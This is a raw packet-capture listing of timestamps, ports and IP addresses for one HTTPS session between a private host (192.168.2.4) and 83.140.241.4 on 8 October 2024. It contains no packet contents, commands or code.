Oct 8, 2024 14:12:03.608015060 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.608058929 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.609523058 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.609539986 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.609591961 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.609597921 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.609607935 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.609637976 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.610466957 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.610517025 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.610531092 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.610536098 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.610564947 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.610579014 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.610975981 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.610996008 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.611048937 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.611056089 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.611093998 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.615191936 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.615209103 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.615271091 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.615295887 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.615336895 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.628179073 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.628201008 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.628262997 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.628263950 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.628283978 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.628328085 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.673178911 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.673206091 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.673270941 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.673301935 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.673319101 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.673338890 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.702965021 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.702986002 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.703036070 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.703073978 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.703090906 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.703113079 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.703445911 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.703470945 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.703511953 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.703519106 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.703557968 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.703567028 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.704101086 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.704119921 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.704174995 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.704180956 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.704220057 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.704420090 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.704436064 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.704488993 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.704495907 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.704535007 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.705245018 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.705260038 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.705303907 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.705312014 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.705355883 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.705935955 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.705952883 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.705998898 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.706007004 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.706048012 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.715764046 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.715780973 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.715848923 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.715876102 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.715915918 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.760571957 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.760596991 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.760662079 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.760687113 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.760730982 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.790452957 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.790477991 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.790513992 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.790537119 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.790551901 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.790574074 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.790878057 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.790894985 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.790946960 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.790957928 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.790992975 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.791627884 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.791644096 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.791695118 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.791706085 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.791743994 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.792251110 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.792268038 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.792323112 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.792332888 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.792371035 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.793003082 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.793019056 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.793056011 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.793062925 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.793087959 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.793104887 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.793340921 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.793355942 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.793392897 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.793400049 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.793425083 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.793440104 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.803395033 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.803416967 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.803473949 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.803498030 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.803538084 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.848140955 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.848156929 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.848205090 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.848228931 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.848241091 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.848269939 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.878252983 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.878277063 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.878359079 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.878396034 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.878447056 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.878758907 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.878773928 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.878842115 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.878855944 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.878904104 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.879580975 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.879595041 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.879646063 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.879651070 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.879673958 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.879690886 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.880223036 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.880238056 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.880290985 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.880296946 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.880341053 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.880595922 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.880609989 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.880664110 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.880670071 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.880708933 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.881289005 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.881302118 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.881357908 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.881364107 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.881401062 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.891182899 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.891204119 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.891268015 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.891280890 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.891308069 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.891330004 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.935945988 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.935967922 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.936055899 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.936085939 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.936099052 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.936125994 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.965850115 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.965876102 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.965950966 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.965979099 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.966022968 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.966716051 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.966733932 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.966784000 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.966790915 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.966828108 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.967240095 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.967257023 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.967315912 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.967318058 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.967330933 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.967365026 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.967375994 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.967392921 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.967422009 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.967432976 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.968285084 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.968300104 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.968352079 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.968357086 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.968394041 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.968959093 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.968971968 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.969019890 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.969023943 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.969058037 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.980588913 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.980603933 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.980659962 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:03.980667114 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:03.980700016 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.024372101 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.024396896 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.024502993 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.024530888 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.024585962 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.053837061 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.053853989 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.053920031 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.053930044 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.053971052 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.054270983 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.054284096 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.054323912 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.054330111 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.054341078 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.054364920 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.054881096 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.054893970 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.054949045 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.054955006 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.055000067 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.055677891 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.055691957 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.055740118 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.055747986 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.055787086 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.056258917 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.056272030 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.056330919 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.056338072 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.056377888 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.057244062 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.057260036 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.057317019 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.057322979 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.057363987 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.067914963 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.067929029 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.067981005 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.067997932 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.068037033 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.077124119 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.114609957 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.114635944 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.114677906 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.114705086 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.114717007 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.114753962 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.141458988 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.141474009 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.141526937 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.141534090 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.141572952 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.142445087 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.142461061 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.142522097 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.142527103 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.142565966 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.142743111 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.142757893 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.142805099 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.142810106 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.142855883 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.143421888 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.143438101 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.143490076 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.143495083 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.143528938 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.143991947 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.144009113 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.144047976 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.144052029 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.144071102 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.144090891 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.144761086 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.144778967 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.144824028 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.144828081 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.144865990 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.155266047 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.155291080 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.155340910 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.155345917 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.155388117 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.178919077 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.200926065 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.200947046 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.201040030 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.201066971 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.201080084 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.201154947 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.229042053 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.229064941 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.229126930 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.229135036 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.229187012 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.229568958 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.229585886 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.229633093 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.229636908 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.229671001 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.230247021 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.230263948 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.230312109 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.230315924 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.230354071 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.230967999 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.230992079 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.231023073 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.231026888 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.231053114 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.231060028 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.231616020 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.231646061 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.231677055 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.231679916 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.231700897 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.231713057 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.232198954 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.232217073 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.232249975 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.232253075 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.232275009 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.232300997 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.243030071 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.243053913 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.243117094 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.243122101 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.243160963 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.288870096 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.288894892 CEST	443	49730	83.140.241.4	192.168.2.4
Oct 8, 2024 14:12:04.288970947 CEST	49730	443	192.168.2.4	83.140.241.4
Oct 8, 2024 14:12:04.289000988 CEST	443	49730	83.140.241.4	192.168.2.4
